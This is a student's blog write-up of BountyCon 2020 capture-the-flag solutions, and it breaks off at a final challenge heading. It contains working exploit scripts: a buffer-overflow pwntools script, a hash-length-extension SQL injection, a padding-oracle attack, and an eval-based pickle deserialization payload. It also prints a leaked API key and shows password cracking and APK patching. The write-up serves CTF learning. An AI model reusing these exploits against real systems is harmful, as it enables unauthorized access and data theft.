This year Facebook/Google hosted BountyCon Capture the Flag competition. I participated in it and solved 15 of 17 challenges (except Proof of game and aglet). As I’m currently an undergraduate student and in the learning stage, my solutions will not be optimal. Although I didn’t get selected as a winner, still it was pretty fun and engaging to solve all of these challenges.

Before coming to the right solution to the challenges. I tried a lot of different ways to solve the challenges. Below are the solutions that I used to solve the challenges.

Secure Login

We developed a super secure login system, but unfortunately, we aren't familiar with those newfangled memory-safe languages.

nc ec2-3-11-37-224.eu-west-2.compute.amazonaws.com 10000

secure_login.tar.gz

Link to the file

Starting from the first challange which had a description stated above. As server ec2-3-11-37-224.eu-west-2.compute.amazonaws.com is listening, we have to connect it using nc ec2-3-11-37-224.eu-west-2.compute.amazonaws.com 10000 command. On connecting, it prompts for the password which we don’t know and somehow, we have to bypass it to get the flag.

The file which was running on their server was given to us. So, I quickly ran that file on my local machine and connected to it using “nc localhost 10000”, and again it prompted for the password. I started debugging it using Ghidra (a free and open-source reverse engineering tool developed by the National Security Agency). After opening the file with Ghidra and decompiling ASM to C code, there was a function check_passwd which was responsible for the password validation. The function looked something like this:

void check_passwd(int param_1)

{
  int iVar1;
  ssize_t sVar2;
  long in_FS_OFFSET;
  undefined8 local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  undefined8 local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  uchar local_28 [24];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  local_b8 = 0;
  local_b0 = 0;
  local_a8 = 0;
  local_a0 = 0;
  local_98 = 0;
  local_90 = 0;
  local_88 = 0;
  local_80 = 0;
  local_78 = 0;
  local_70 = 0;
  local_68 = 0;
  local_60 = 0;
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0xa99dd1dbed586201;
  local_30 = 0xc6bbb0b969f29e4d;
  write(param_1,"Password: ",0xb);
  do {
    sVar2 = read(param_1,&local_b8,0x90);
    if ((int)sVar2 < 1) {
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    MD5((uchar *)&local_b8,0x80,local_28);
    iVar1 = memcmp(local_28,&local_38,0x10);
  } while (iVar1 != 0);
  write(param_1,"BountyCon{XXXXXXXXXXXXXXXXXXXXXXXXXXX}\n",0x28);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

The line sVar2 = read(param_1,&local_b8,0x90); is reading 144 characters from the user and saving it to local_b8. Line MD5((uchar *)&local_b8,0x80,local_28); doing MD5 of 128 characters taken from user and saving to local_28. Line iVar1 = memcmp(local_28,&local_38,0x10); comparing 0x10(16 in decimal) bytes of two blocks local_28 and local_38(as local_38 is of only 8 bytes, the value of local_30 will also be compared) of memory. Both local_38 and local_30 are defined in the code with precomputed MD5. If the comparison is true it will print the flag. As MD5 is a one-way function, it is difficult to know the input.

As local_b8 is of 8 bytes, BufferOverflow will happen when users write password of 144 characters and it will overwrite all the variables till local_30 variable.

undefined8 local_b8;
undefined8 local_b0;
undefined8 local_a8;
undefined8 local_a0;
undefined8 local_98;
undefined8 local_90;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;

This means that we can control local_38 and local_30. Now, the Solution is pretty straight forward. Enter some garbage data of 128 characters + MD5 hash of it. So,128 + 16(MD5 hash) = 144. The program will compute the MD5 hash of the first 128 characters and will compare it with the next 16 characters(local_38 and local_30) which were overwritten by us.

Below is the script that i used.

#!/usr/bin/env python2
from pwn import *
r = remote('ec2-3-11-37-224.eu-west-2.compute.amazonaws.com', 10000)
r.recvuntil('Password: ')
offset = 128
payload = "A"*offset
#############MD5 Payload###############
payload += "\xaf\x35\xb0\xd3\x48\xe5\x16\x20\x36\xe1\x83\x33\x9d\x38\x5b\x0c"# MD5 hash of ("A"*128)
log.info('Sending payload...: {}'.format(payload))
r.sendline(payload)
r.recvuntil('BountyCon')
log.info('Here\'s your flag :)')
log.info('Flag: BountyCon{}'.format(r.recvline()))
r.close()




Shake It

The second challenge as named “Shake It” quoting:

The best way to get fit - just shake it!


shake_it.tar.gz

Link to the file

After extracting the file, there was an apk file in it. I quickly installed that apk file to my mobile and a screen like below opened.

It said Start shaking so when I shook it, the text changed to 999999 Shakes to go which meant we have to shake it 999999 times to get the flag. Since this number is too huge, we have to patch the apk file. Here, I decompiled the apk file using Jadx to view the java code. The flag wasn’t in the apk file, it was stored in an encrypted form in the native-lib.so file. In the mainactivity class, I found the following code:

    public void onSensorChanged(SensorEvent sensorEvent) {
        if (sensorEvent.sensor.getType() == 1) {
            float f = sensorEvent.values[0];
            float f2 = sensorEvent.values[1];
            float f3 = sensorEvent.values[2];
            long currentTimeMillis = System.currentTimeMillis();
            long j = this.lastTime;
            if (currentTimeMillis - j > 100) {
                long j2 = currentTimeMillis - j;
                this.lastTime = currentTimeMillis;
                if ((Math.abs(((((f + f2) + f3) - this.lastX) - this.lastY) - this.lastZ) / ((float) j2)) * 10000.0f > 350.0f) {
                    this.shakes++;
                    TextView textView = (TextView) findViewById(C0272R.C0274id.result_text);
                    if (this.shakes < 10000000) {
                        StringBuilder sb = new StringBuilder();
                        sb.append(BuildConfig.FLAVOR);
                        sb.append(10000000 - this.shakes);
                        sb.append(" shakes to go!");
                        textView.setText(sb.toString());
                    } else {
                        StringBuilder sb2 = new StringBuilder();
                        sb2.append("BountyCon{");
                        sb2.append(stringFromJNI());
                        sb2.append("}");
                        textView.setText(sb2.toString());
                    }
                }
                this.lastX = f;
                this.lastY = f2;
                this.lastZ = f3;
            }
        }
    }

If we change the if condition in if (this.shakes < 10000000) then we can have our flag. For this, I used apktool to patch the file. I decompiled file using apktool apktool -d "shake_it.apk and in the shake_it/smali/com/example/myapplication/MainActivity.smali, I changed the if condition by changing if-gez v7, :cond_0 to if-lez v7, :cond_0

Build the apk file again using apktool b "shake_it" -o "shake_it1.apk".If you install a newly created apk file you will get a certificate error. So we have to sign the apk file. For this, create a key using keytool keytool -v -genkey -keystore shake_it1.keystore -alias shake_it1 -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 356. Enter anything in the fields.

then, sign the application using jarsigner jarsigner -keystore shake_it1.keystore -sigalg SHA1withRSA -digestalg SHA1 shake_it1.apk shake_it1

Install the apk file and shake it, you will have your flag.




Lighthouse

Moving on to challenge number 3 called lighthouse.

Who needs a lighthouse when we have phones?

Note: ensure you grant the app camera permissions.

lighthouse.tar.gz

Link to the file

After extracting the file, there was an apk file in it. On installing that apk file to my mobile there was a screen with a single button. When I pressed the button flash started to turn on and off.

I decompiled the apk file using Jadx to view the java code. From the code what I understood was that the code was containing the morse codes map to alpha codes. On each character of morse code (“.”, “-“ , “ “) flash will be turned off or on for some time defined in the code, and from the flash, you have to get the morse code and from the morse code you have to get the alpha character which will make the flag, but the flash was turning off and on too quickly that a human can’t handle it.

After analyzing a bit further I realized that the flag was encrypted in the same form and in the same file(libnative-lib.so) as in “Shake It” challenge. So, I replaced the “libnative-lib.so” of lighthouse to shake it “libnative-lib.so” file, then an installed apk file and shake it to get the file.

I decompiled file using apktool apktool -d "shake_it.apk and apktool -d "lighthouse.apk. In the shake_it/lib/ replace all the files/folders including libnative-lib.so with lighthouse/lib/ files of lighthouse(just simply copy all folder of lighthouse/lib/ and paste them to shake_it/lib/).

Build the apk file again using apktool b "shake_it" -o "shake_it1.apk".If you install a newly created apk file you will get a certificate error. Hence, sign the apk file. For this run; first, create a key using keytool keytool -v -genkey -keystore shake_it1.keystore -alias shake_it1 -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 356. Enter anything in the fields.

then, sign the application using jarsigner jarsigner -keystore shake_it1.keystore -sigalg SHA1withRSA -digestalg SHA1 shake_it1.apk shake_it1

Install the apk file and shake it you will have your flag.

Here, I was not sure if it was the intended solution.




Anti What

What do you mean a debugger is already attached?


anti_what.tar.gz

Link to the file

Running the file will print Press any key to quit I used Ghidra to decompile the file. After opening the file with Ghidra and decompiling ASM to C code. Main Function looked something like this

undefined8 main(undefined8 param_1,char **param_2)

{
  int iVar1;
  long lVar2;
  undefined4 extraout_var;
  undefined8 uVar3;
  long in_FS_OFFSET;
  int local_15c;
  termios local_158;
  undefined local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_15c = 0;
  lVar2 = ptrace(PTRACE_TRACEME,0,1,0);
  if (lVar2 == 0) {
    local_15c = 2;
  }
  lVar2 = ptrace(PTRACE_TRACEME,0,1,0);
  if (lVar2 == -1) {
    local_15c = local_15c * 3;
  }
  if (local_15c == 6) {
    RC4_set_key((RC4_KEY *)local_118,0x32,key);
    RC4((RC4_KEY *)local_118,0x4e,ptext,ptext);
    runPayload();
    puts("Press any key to quit...");
    tcgetattr(0,&local_158);
    local_158.c_lflag = local_158.c_lflag & 0xfffffffd;
    local_158.c_cc[6] = '\x01';
    local_158.c_cc[5] = '\0';
    tcsetattr(0,0,&local_158);
    getchar();
    uVar3 = 0;
  }
  else {
    iVar1 = unlink(*param_2);
    uVar3 = CONCAT44(extraout_var,iVar1);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar3;
}

RC4_set_key((RC4_KEY *)local_118,0x32,key); was getting the key for RC4. RC4((RC4_KEY *)local_118,0x4e,ptext,ptext); was decrypting the ptext using RC4.

runPayload(); has the following code.

void runPayload(void)

{
  undefined8 *puVar1;
  
  puVar1 = (undefined8 *)rwxmalloc(0x100);
  unpackPayload(puVar1);
  (*(code *)puVar1)(); 
  return;
}

Line (*(code *)puVar1)(); looks strange. Here it is calling some method, so lets check what it is calling.

lVar2 = ptrace(PTRACE_TRACEME,0,1,0); of main function checking if debugger is attached or not. So, Running the file with the debugger attached will delete the file. For this, we have to patch the file. I did it using radare2

r2 -w ./anti_what
s 0x158f // Address on which we want to change the instruction
wa jmp 0x15a8 //change je to jmp
quit 

Use objdump anti_what -d to check if changes are made or not. Look at 0x158f address

Now,

gdb ./anti_what
break runPayload # to check what's going on runPayload
r
disas

Set breakpoint after line “call *%rdx”. In my case it is 0x0000555555555554f1

break *0x0000555555555554f1
c
x/s $rdx

Press Enter a few times you will get your flag.




Ghidra is Cool!

This is just a warm up.


ghidra_is_cool.tar.gz

Link to the file

It was the simplest one I guess. After extracting the file and running the file it printed nothing. strings ghidra_is_cool shows string patch me! in the file I used Ghidra to decompile the file. Code looked like this

Address 0x00401063 contains SYSCALL (looks interesting). I patch the file by changing program to jmp at 0x0040101a so that SYSCALL get executed.

r2 -w ./ghidra_is_cool
s 0x401000
wa jmp 0x0040101a
exit

Check the changes are made using objdump -D -M intel -j .text ghidra_is_cool

Just run the program to get the flag. ./ghidra_is_cool




Meggenser

Welcome to the public beta of our new messaging app, with heavily optimised Emoji Input menu™.
Note: the flag format for this challenge is bountycon-...



meggenser.tar.gz

Link to the file

After extracting the file and running the apk file. The following screen containing emoji opened. It had nothing just emoji to send and delete the message.

Pressing any emoji text will appear as something like “:abc-abc-abc:”. Flag format for this challenge is bountycon-… as given in the details of the task. The flag should be like “:bountycon-abc-abc:” and text will convert to some sort of emoji.

After checking the JAVA code(decompiled using Jadx) of apk file. There was nonthing interesting in the apk file. Everything was done in libparse.so file. So, I started to debug it.

After analyzing it a lot with GDB,apktool, and Jadx, I came to a situation where each character of an entered text going to a specific if condition. When a character is right if the condition will get true else not.

So, I just bruteforce the flag by holding the if condition.

In function Java_com_facebook_bountycon2020_app_Emojifier_parse. There is one if condition like below

if (((cVar3 != '-') &&
  (((local_3c = (char *)0xffffffa0, 0x19 < (byte)(cVar3 + 0x9fU) &&
    (local_3c = (char *)0xffffffeb, 9 < (byte)(cVar3 - 0x30U))) ||
   (pcVar7 = local_3c + cVar3, pcVar7 == (char *)0xffffffff)))) ||
 (piVar11 = (int *)piVar11[(int)(pcVar7 + 1)], piVar11 == (int *)0x0)) goto LAB_00010c33;

Whatever you enter the right character of the flag. Above if the condition will be true.

Install the apk file by adb install meggenser.apk. I used genymotion for the emulator.

Connect meggenser app to gdb to debug it.

adb connect 192.168.145.101:5555 # Enter your emulator ip and port
adb forward tcp:44444 tcp:44444
adb shell am start com.facebook.bountycon2020.app/com.facebook.bountycon2020.app.MainActivity
adb shell su root 'gdbserver --attach :44444 `pidof com.facebook.bountycon2020.app`'
#Run GDB.
gdb -ex 'target remote :44444'
break Java_com_facebook_bountycon2020_app_Emojifier_parse
c
# Enter any input from app.
disas
#Place breakpoint anywhere in the if condition. In my case, it is address 0xe39alccf
break *0xe39alccf
del 1 # To delete the first breakpoint.
# Enter :bountycon-a: as flag for this challenge starts with bountycon-...
c 10 # length of "bountycon-" is 10 if message prints on the app then it is a wrong guess.
# Enter :bountycon-3:
c 10 # gdb will be on breakpoint under the if condition as input is correct so "3" is the right input for the the flag.
c
# Enter :bountycon-3a: as flag for this challenge starts with bountycon-...
c 11 # length of "bountycon-3" is 11 if message prints on the app then it is a wrong guess.
# Enter :bountycon-3m:
c 11 # gdb will be on breakpoint under the if condition as input is correct
c
# so on guess the whole flag.

Demo:

Watch the video




ui.beauty

Good UI is not a choice.



https://178.128.95.74/ui/

After login into the website. On the website, there was a page that an admin could access only saying

FLAGship product

You're not ready.

means this is the page that contains flags but we have to login as admin to access the page.

In the customer zone tab, there is ui.beauty P2P distribution heading which contains the source code of the website of itself. Checking the source code I didn’t find anything special except cookie.php.

Let’s understand the verify_cookie function.

Cookie value passed to function as the cookie variable. Then cookie string is reversed using strrev($cookie) after then it is decoded by base64 and stored to $cd.

If string($cd) is <= 32 return false else last 32 character of $cd contains hash and remaining contains data(email).MD5 hash of $secret_cookie_key concatenated with email(MD5($secret_cookie_key+Email)) is stored to $rhash.

Then a check is performed if the hash is the same or something has changed with MD5 hash.

If hash is same then email is placed on SQL query and SQL query is executed to get the user and return it.

There are two things to note.

  • Secret key concatenate with user email then MD5 is done.

  • SQL query is vulnerable to SQL Injection.

After googling, I came to know that if the secret key is combined with a user-controlled message then it is vulnerable to a length extension attack. This means the attacker can make a valid hash of secret_cookie_key+new_message without knowing the secret_cookie_key(length of secret_cookie_key needed to be known which is not a big deal, we can try all lengths).

Algorithms like MD5, SHA-1, and SHA-2 that are based on the Merkle–Damgård construction are susceptible to this kind of attack.

So, the idea was to make a valid hash of message with SQL Injection(secret_cookie_key+new_message where new_message is containing " or 'role'="admin"-- - in the end) to log in as admin by doing SQL Injection.

The key length was 56.

The script that I used for the solution:

#!/usr/bin/env python2
from pwn import *
import base64
import httplib, urllib
from hashpumpy import hashpump
import ssl

ssl._create_default_https_context = ssl._create_unverified_context
taglen = 256 / 8
tag = None
orig_msg = None
#append_msg = '" or `role`="admin" -- -'
append_msg = '"' # There will be an SQL error

tag = "fc52f628914d6bfe0a83e40ec25e5dc1"
orig_msg = "abc@gmail.com"

print("original tag was: \n" + hexdump(tag))
print("original message was: " + orig_msg)


def perform_hlext(tag, orig_msg, append_msg, keylen):
    """take the tag and the orig_msg, perform hash length extension
    for the given key length.
    returns [tag][message]"""
    newdgst, newmsg = hashpump(tag,
                               orig_msg,
                               append_msg,
                               keylen)
    log.info("hashpump returned: \ndigest: {}\nmsg: {}"
             .format(newdgst, (newmsg)))
    conn = httplib.HTTPSConnection("178.128.95.74")
    encoded = base64.b64encode(((newmsg+newdgst)))
    login=encoded[::-1]
    log.info("Cookie Value: {}".format(login));
    #print(login)
    headers = {"Cookie": "login="+login}
    conn.request("GET", "/ui/?tools-flagship","", headers)
    response = conn.getresponse()
    data=str(response.read())
#    print(data)
    if "sql" in data or "SQL" in data or "Sql" in data or "Error" in data or "error" in data or "ERROR" in data or "Failed" in data or "failed" in data:
        print(data)

# bruteforce the key length
for i in range(0,100):
    log.info("Trying key length {}".format(i))
    m = perform_hlext(tag, orig_msg, append_msg, i)






Matt’s String Reverser

Back in the 90's, string reversing was not as easy as [::-1]. Glue.bar has unearthed Matt's legacy after more than 20 years and are providing his legendary software free of charge.

https://www.glue.bar/mattsstringreverser/

Note: this challenge is not related to Glue.bar at all

Website looks like

From the page description, it looks like the demo URL was there before it was removed. I decided to look at its archive page. So, I opened the https://web.archive.org/ and search for https://www.glue.bar/mattsstringreverser/ there was the three snapshot of this page. From which one is https://web.archive.org/web/20191231221341/https://www.glue.bar/mattsstringreverser/ which contains the link to the software

After downloading the zip file and extracting it. It contains demo and index.php file in it which looks like.

As you see there is a string in a reversed order which is https://www.glue.bar/mattsstringreverser/matt-himself.jpg

Running the command file matt-himself.jpg will have an output like

Where the description has reverse order string version2-secret-preview.zip

Opening https://www.glue.bar/mattsstringreverser/version2-secret-preview.zip will download the zip file which contains matt-himself.jpg and index.php file. Both files are password protected.

After googling, I came to know that if some plaintext of the zip is known then we can crack the password. In this case, we have plaintext(matt-himself.jpg)

But after trying too much to crack the password(I tried too many tools) this method did not work.

The next day, I tried the same way but making things similar to glue.bar server e.g using Ubuntu server on AWS instead of a local kali Linux machine.

And this works on AWS with Ubuntu. Same method wasn’t work on local kali Linux machine because you have to zip the plaintext file to crack password and zip program of ubuntu and kali wasn’t same(there is some difference). Protected files was zipped on Ubuntu.

On Ubuntu, I used https://github.com/keyunluo/pkcrack tool to get the password protected files.

mkdir matt
cd matt
wget https://www.glue.bar/mattsstringreverser/matt-himself.jpg
sudo zip a.zip matt-himself.jpg
wget https://www.glue.bar/mattsstringreverser/version2-secret-preview.zip
../bin/extract a.zip matt-himself.jpg 
mv matt-himself.jpg matt-himselfP.jpg
mkdir ver2
../bin/extract version2-secret-preview.zip ver2/matt-himself.jpg 
mv ver2/matt-himself.jpg matt-himselfC.jpg
../bin/pkcrack -c matt-himselfC.jpg -p matt-himselfP.jpg -C version2-secret-preview.zip -P a.zip -d matt-cracked.zip

Open index.php file from matt-cracked.zip and run it. Reverse any string to get the flag.




Maze Runner

We found this ultra secure login form. But where is the code?

https://178.128.95.74/mr/

Website looks like

First, just copy the all source code and make a similar website on your local machine. Then copy the text in the middle behind the checkbox.

Paste javascript code in the index.html file(in the script tag) which you created(don’t Beautify it just paste it as you copy.)

Open HTML file in chrome. Open developer tools and in the source tab. Open the html file. Click on the pretty print button to Beautify the code.

Now place breakpoint on [B[h][H]]&15();. In my case it is on line 73.

Code looks like

while (d/*  $
#:*/
                >= 0) {
                    [(_=>{
                        H += X * (D - 1);
                        h/* %
%%*/
                        += x * (D - 1);
                    }
                    ), (_=>{
                        T = x;
                        x /* |
u$*/
                        = -X;
                        X = T;
                    }
                    ), (_=>{
                        T = x;
                        x = X;
                        /*#
##*/
                        X = -T;
                    }
                    ), (_=>b.length ? (D = /*$
%-*/
                    b.pop()) : d = -2), (_=>D ^= B[/*%
n%*/
                    24][2 + (d++ % 31 /* BountyCon 2
#$*/
                    )] ^ 32), (_=>{
                        H += X;
                        h += x;
                        (D/*#
%#*/
                        == B[h][H]) || (d /*B[h][H]=0;$
t0*/
                        = -2);
                    }
                    ), (_=>d /*H+=21;h--; %
#%*/
                    = -1), (_=>{}
                    )][B[h][H /*2020|
%$*/
                    ] & 15]();
                    H = (H + 31 + X) % 31;
                    h /* &
y#*/
                    = (h + B.length + x) % B.length
                }

This loop run over on each characters of input text.

On the console, Enter P("BountyCon{asdsad}")

D^=B[24][2 + (d++ % 31)] ^ 32

Where D contains each character of entered text in the loop. To get the flag, we have to hold the condition B[h][H]==D where we can control the value of D.

See the below video for better understanding.

Watch the video




Not a Speck

Decrypt messages at blazing speeds with the all new Speck block cipher.

https://m2qglk5s8i.execute-api.eu-west-2.amazonaws.com/default/c2v53m

On opening the website, it is saying You have intercepted a secret message encrypted using the "Speck" block cipher. Decrypt it now!

Clicking on Decrypt it leads to https://m2qglk5s8i.execute-api.eu-west-2.amazonaws.com/default/c2v53m?msg=5Hr1Y8IQMJ%2BHpmIXhr8dwDd8YO8h/3JG5OEfwtt7zAwBIDWKwbI52ECM6iQ%3D

Saying

Message decrypted OK:

SyntaxError: Missing parentheses in call to 'print'. Did you mean print(ptext)?

There were three things to know.

On appending the A of different length to msg parameter it gives three different messages.

  • Bad Base64

  • Bad request: message padding error

  • SyntaxError: Missing parentheses in call to ‘print’. Did you mean print(ptext)?

Which leads me to padding oracle attack.

Below is the script that I used to get the flag.

#!/usr/bin/env python2
from pwn import *
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
import requests
import socket
import time
import httplib, urllib
import ssl

ssl._create_default_https_context = ssl._create_unverified_context


class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)

    def oracle(self, data, **kwargs):
        print("[*] Trying: {}".format(b64encode(data)))

        # Do Crypto that throws something different if padding error
        # r = requests.post('http://crypto.chal.csaw.io:8001/', data={'matrix-id':b64encode(data)})
        conn = httplib.HTTPSConnection("m2qglk5s8i.execute-api.eu-west-2.amazonaws.com")
        encoded = b64encode(data)
        url_encoded = urllib.quote_plus(encoded)
        conn.request("GET", "/default/c2v53m?msg=" + url_encoded, "")
        response = conn.getresponse()
        data = str(response.read())
        print(data)
        if 'padding' in data:
            print("[*] Padding error!")
            raise BadPaddingException
        else:
            print("[*] No padding error")


if __name__ == '__main__':
    import logging
    import sys

    logging.basicConfig(level=logging.DEBUG)
    # This is a random string the server printed for us, 
    # assuming have to decrypt this, and see what we get
    encrypted_value = '5Hr1Y8IQMJ+HpmIXhr8dwDd8YO8h/3JG5OEfwtt7zAwBIDWKwbI52ECM6iQ='
    padbuster = PadBuster()

    value = padbuster.decrypt(b64decode(encrypted_value), block_size=4, iv=bytearray(4))

    print('Decrypted: %s => %r' % (encrypted_value, value))




Glue.bar

Ever wanted to share 20 KiB of text (or less) with a friend but just couldn't? Enter Glue.bar, the original text-sharing application!

https://www.glue.bar/

You can check how the website looks like by opening it. From the website, it looks like a flag is stored in glue and we have to found that glue id.

Two things got my attention.

First, star supporters can see glue without a direct link.

Are my glues visible to other users?

Only our star supporters can see glues without a direct link.

Second, Glue.bar has API as well.

I opened api.glue.bar but we don’t have the API key.

After viewing the SSL certificate of glue.bar , I came to know a few of its subdomains

From which one is starclient.glue.bar

I opened it looks something like this

I downloaded the code provided in the starclient.glue.bar which was

#!/usr/bin/env python3

import argparse
import json
import sys
from urllib import parse, request

parser = argparse.ArgumentParser(description = "Glue.bar API client")
parser.add_argument("--url", dest="apiUrl", help="API endpoint location", required=True)
parser.add_argument("--key", dest="apiKey", help="API key", required=True)
subparsers = parser.add_subparsers(dest="command")

parser_get = subparsers.add_parser("get", help="get glue by ID")
parser_get.add_argument("glueId", help="ID of glue to retrieve")

parser_browse = subparsers.add_parser("browse", help="show glues according to filters")
parser_browse.add_argument("--author", dest="author", help="filter by author")
parser_browse.add_argument("--title", dest="title", help="filter by title")

args = parser.parse_args()

if args.command == "get":
  params = parse.urlencode({
    "key": args.apiKey,
    "action": "get",
    "id": args.glueId
  })
elif args.command == "browse":
  filters = []
  if args.author:
    filters.append(["author", args.author])
  if args.title:
    filters.append(["title", args.title])
  params = parse.urlencode({
    "key": args.apiKey,
    "action": "browse",
    "filters": json.dumps(filters)
  })
else:
  print("No command selected!")
  sys.exit(1)

req = request.Request(args.apiUrl, params.encode("ascii"))
response = json.load(request.urlopen(req))

if not response or not response["success"]:
  print("Request failed!")
  sys.exit(1)

data = response["data"]

if args.command == "get":
  if response["data"] is None:
    print("Glue not found!")
    sys.exit(1)
  print("Glue found:")
  print("===========")
  print("")
  print("Created: " + data["created_at"])
  print("Author:  " + data["author"])
  print("Title:   " + data["title"])
  print("")
  print(data["content"])
else:
  print("Results:")
  print("========")
  print("link             | author | title")
  for entry in data:
    print(entry["link"] + " | " + entry["author"] + " | " + entry["title"])

It has no information about the API key. It’s telling us how to use their API. I started finding directories in the starclient.glue.bar and found .git directory. On opening https://starclient.glue.bar/.git/ it giving 403 Forbidden Error

I started finding directories in the starclient.glue.bar/.git/ and found interesting files.

I used a gitdumper to get the .git files.

I found some old commit files. One of them containing the API key.

#!/usr/bin/env python3

import json
from urllib import parse, request

apiUrl = "http://localhost:1234/"
apiKey = "6it1vbsfhn8odbrm71odj8e0h0rbeng0rybxornl"
glueId = "8rqowk3l327jv6pe"

params = parse.urlencode({
  "key": apiKey,
  "action": "get",
  "id": glueId
})

print(params.encode("ascii"))

req = request.Request(apiUrl, params.encode("ascii"))
response = request.urlopen(req)

print(json.load(response))

I used API to find any glue with title and author with keywords like bountycon etc but there was no flag with these keywords.

So, I decided to brute force the parameters and found the parameter id was accepting values. Tried 3 for id parameter and got the flag. saying Have yourself a flag




I Don’t Play

https://ik6939fg0f.execute-api.eu-west-2.amazonaws.com/default/qx9nc2

On opening the website it looked like

Clicking on login redirects to another website.

On checking the source code of the page, it says <!-- AUTH_TOKEN=url_encode(username;base64(hmac-sha256(username))) -->

Clicking on cancel leads us to https://ik6939fg0f.execute-api.eu-west-2.amazonaws.com/default/qx9nc2?AUTH_TOKEN=%3BFZbocBdRNUdHNe2sYnCX05OsnSbRqtPRscvllzbLTB8%3D

URL decode the following %3BFZbocBdRNUdHNe2sYnCX05OsnSbRqtPRscvllzbLTB8%3D leads to ;FZbocBdRNUdHNe2sYnCX05OsnSbRqtPRscvllzbLTB8= before ; is username which is empty and then hmac-sha256 is done on username with some password which we dont know. But what if password is weak. Let’s bruteforce it.

I used hashcat with rockyou.txt file and found the password which was ilovefacebook

I made the hmac-sha256 for admin using the password ilovefacebook and entered that hash to AUTH_TOKEN parameter e.g https://ik6939fg0f.execute-api.eu-west-2.amazonaws.com/default/qx9nc2?AUTH_TOKEN=mEE3YZsG%2FlrlYlmdMlK8tqmA8CKWRwTr9%2FNDcipJF4c%3D which gave us the flag.




Tick Tock

Time's ticking, hack me before it's too late.

https://mk3pxi9jwe.execute-api.eu-west-2.amazonaws.com/default/s2vx5m

tick_tock.tar.gz

Link to the file

In the challenge, a file was given to us which was like

import base64
import json
import pickle
import time
import function_shield

function_shield.configure({
    "policy": {
        # 'block' mode => active blocking
        # 'alert' mode => log only
        # 'allow' mode => allowed, implicitly occurs if key does not exist
        "outbound_connectivity": "block",
        "read_write_tmp": "block",
        "create_child_process": "block",
        "read_handler": "block"
    },
    "token": "XXXXXXXX",
    "disable_analytics": "true"
})

def clock_page(past):
    html = '<!DOCTYPE HTML>'\
            + '<HTML>'\
            + '<HEAD>'\
            + '<TITLE>Timer</TITLE>'\
            + '<LINK rel="stylesheet" href="https://fonts.googleapis.com/css?family=Orbitron">'\
            + '<STYLE>'\
            + 'body{background: black;}'\
            + '.clock{position: absolute; top: 50%; left: 50%; transform: translateX(-50%) translateY(-50%); color: #17D4FE; font-size: 60px; font-family: Orbitron; letter-spacing: 7px;}'\
            + '</STYLE>'\
            + '</HEAD>'\
            + '<BODY>'\
            + '<DIV id="timer" class="clock" onload="showTime()"></DIV>'\
            + '<SCRIPT>'\
            + 'function showTime(){'\
            + 'var future = Date.now() / 1000 | 0;'\
            + 'var delta = future - ' + past + ';'\
            + 'var time = delta.toString();'\
            + 'document.getElementById("timer").innerText = time;'\
            + 'document.getElementById("timer").textContent = time;'\
            + 'setTimeout(showTime, 1000);'\
            + '}'\
            + 'showTime();'\
            + '</SCRIPT>'\
            + '</BODY>'\
            + '</HTML>'
    return html

class Epoch(object):
    def __init__(self, timestamp):
        self.ts = timestamp

flag = "BountyCon{[redacted]}"

def lambda_handler(event, context):
    if (('multiValueHeaders' in event.keys()) and (json.dumps(event['multiValueHeaders']) != 'null')):
        if ('cookie' not in event['multiValueHeaders'].keys()):
            url = event['requestContext']['path']
            epoch = Epoch('{:d}'.format(int(time.time())))
            cookie = base64.b64encode(pickle.dumps(epoch))
            return {
                'isBase64Encoded': 0,
                'statusCode': 302,
                'headers': {
                    'Content-Type': 'text/html; charset=utf-8',
                    'Set-Cookie': cookie, # Server time may be different to browser time!
                    'Location': url
                },
                'body': ''
            }


    epoch = pickle.loads(base64.b64decode(event['multiValueHeaders']['cookie'][0]))
    return {
        'isBase64Encoded': 0,
        'statusCode': 200,
        'headers': {'Content-Type': 'text/html; charset=utf-8'},
        'body': clock_page(epoch.ts)
    }


First, file contains the flag variable which we want to get it. Second, it’s using pickle which is not secure from object injection.

Now, it’s doing deserialization on the cookie.

Pickle is vulnerable to deserialization attacks so we can execute arbitrary python code.

I used the below script to get the cookie value to get the flag. I used this script on AWS Lambda. As the target server was running on AWS Lambda, classes needed to be the same for exploitation. My solution uses eval to execute a string.

import json
import base64
import pickle
import time
import subprocess
import pickletools
import os
flag="BountyCon{[secret]}"

class Epoch():
    def __init__(self, timestamp):
        self.ts=timestamp
    def __reduce__(self):
        return (eval, ("__import__('inspect').currentframe().f_globals['Epoch'](__import__('inspect').currentframe().f_globals['flag'])",))
        
def lambda_handler(event, context):
    # TODO implement
    
    print("----------------------------------------------------------------------------------------")
    epoch = Epoch('123')
    cookie2=base64.b64encode(pickle.dumps(epoch))
    print("Here's your payload: "+str(cookie2))
    return {
        'statusCode': 200,
        'body': json.dumps('Hello from Lambda!')
    }


which gave us

gANjYnVpbHRpbnMKZXZhbApxAFhvAAAAX19pbXBvcnRfXygnaW5zcGVjdCcpLmN1cnJlbnRmcmFtZSgpLmZfZ2xvYmFsc1snRXBvY2gnXShfX2ltcG9ydF9fKCdpbnNwZWN0JykuY3VycmVudGZyYW1lKCkuZl9nbG9iYWxzWydmbGFnJ10pcQGFcQJScQMu

Enter this value to cookie and send request. Flag will be yours.




Heart of Stone

